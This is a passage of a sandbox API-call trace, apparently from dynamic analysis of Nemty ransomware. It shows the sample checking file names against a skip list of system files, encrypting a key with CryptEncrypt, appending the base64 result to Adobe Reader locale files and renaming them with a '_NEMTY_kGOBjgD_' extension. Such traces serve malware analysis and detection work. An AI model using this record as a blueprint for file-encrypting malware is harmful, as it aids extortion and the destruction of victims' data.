(lpString1="Spelling.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.695] lstrcmpiW (lpString1="Spelling.SKY", lpString2="ntuser.dat") returned 1 [0183.695] lstrcmpiW (lpString1="Spelling.SKY", lpString2="desktop.ini") returned 1 [0183.695] lstrcmpiW (lpString1="Spelling.SKY", lpString2="CONFIG.SYS") returned 1 [0183.695] lstrcmpiW (lpString1="Spelling.SKY", lpString2="RECYCLER") returned 1 [0183.695] lstrcmpiW (lpString1="Spelling.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.695] lstrcmpiW (lpString1="Spelling.SKY", lpString2="bootmgr") returned 1 [0183.695] lstrcmpiW (lpString1="Spelling.SKY", lpString2="programdata") returned 1 [0183.695] lstrcmpiW (lpString1="Spelling.SKY", lpString2="appdata") returned 1 [0183.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SKY", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SKY", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SKY", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SKY", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.695] Sleep (dwMilliseconds=0x5) [0183.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x212484b0, dwHighDateTime=0x1d561e8)) [0183.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x212484b0, dwHighDateTime=0x1d561e8)) [0183.703] GetLastError () returned 0x12 [0183.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.703] GetLastError () returned 0x12 [0183.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.704] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.704] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.704] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.704] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="qHf7pnNnX+769hiQO7rPN64BtoJ2/SSn5j0NGBvEjqQfBP58YAZnhY+xJNzqpZ8e\r\nbPPCHlOm1pQftFZg9UjUwMQD9Ipy9lakZk6mcirG1zxComaaPfl67d7THOG+Sfr9\r\nM82W+XMTfqthnZPfGyGB/FBVQ8vOSp7dgJFRiFE//Qv58ruUMKBnWa8eyUC1EVmF\r\nUjHix0k8fCUSebwOpDaD8gprgqzvngAgbWocMALw4UNYtEzkaEi9zEh9buTl5ouU\r\nzlG5Cm6WUevtyKhiXeiab/qsWn1c9udcevGc2jPrbdV9GwA8FkShwdMTsk6wKt3f\r\nrHJ4y/DmP0GC9vDDVgy1Eg==\r\n", pcchString=0x653e5dc) returned 1 [0183.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.704] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Spelling.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\spelling.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.705] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0183.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0183.705] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.705] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0183.707] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.707] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0183.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.708] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0183.708] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.708] CloseHandle (hObject=0x2e8) returned 1 [0183.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.708] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Spelling.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\spelling.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Spelling.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\spelling.sky._nemty_kgobjgd_")) returned 1 [0183.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.709] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.SKY", cAlternateFileName="")) returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2=".") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="..") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="...") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="windows") returned -1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="rsa") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="NTDETECT.COM") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="ntldr") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="MSDOS.SYS") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="IO.SYS") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="boot.ini") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="boot.ini") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="ntuser.dat") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="desktop.ini") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="CONFIG.SYS") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="RECYCLER") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="bootmgr") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="programdata") returned 1 [0183.709] lstrcmpiW (lpString1="updater.SKY", lpString2="appdata") returned 1 [0183.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SKY", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SKY", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SKY", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SKY", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.710] Sleep (dwMilliseconds=0x5) [0183.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2126e610, dwHighDateTime=0x1d561e8)) [0183.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2126e610, dwHighDateTime=0x1d561e8)) [0183.719] GetLastError () returned 0x0 [0183.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.719] GetLastError () returned 0x0 [0183.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.719] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.719] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.720] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.720] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Mb4U6Pz1VSDrJj6j0Lu5K9Kp4i62MZodvqz8vN52BT95QCtd/JNryIz/eLy07Mdy\r\nvIw9XVE1JYhIovAMKO3eN61ARPEt2bquhhzGFEJo29FXYAV1KDXt4wsimMd2I5Ah\r\nF5PhrtY2c6o01z84/gFvORrow01ajmMeanaN009v6uMbdQcprvJU9DIRN+zsdbPf\r\nFwJNIMMtlYGR8HM3V9hTS0jv+7RmH4M5lsY2SyCEr9klWH5I3QHXQ6yzJrOo2Aqs\r\ndQft1DYemDwl+Q2I2Lk45jmEDL0fJMxGhQTdldepHWOHOhcGvaHVTlbOyiRo9UAM\r\nj+qMiv7YFca0a7XYhurbWQ==\r\n", pcchString=0x653e5dc) returned 1 [0183.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.720] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\updater.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\updater.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.720] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0183.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0183.720] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.720] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0183.723] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.723] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0183.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.723] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0183.723] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.723] CloseHandle (hObject=0x2e8) returned 1 [0183.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.723] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\updater.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\updater.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\updater.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\updater.sky._nemty_kgobjgd_")) returned 1 [0183.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.724] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="WebLink.SKY", cAlternateFileName="")) returned 1 [0183.724] lstrcmpiW (lpString1="WebLink.SKY", lpString2=".") returned 1 [0183.724] lstrcmpiW (lpString1="WebLink.SKY", lpString2="..") returned 1 [0183.724] 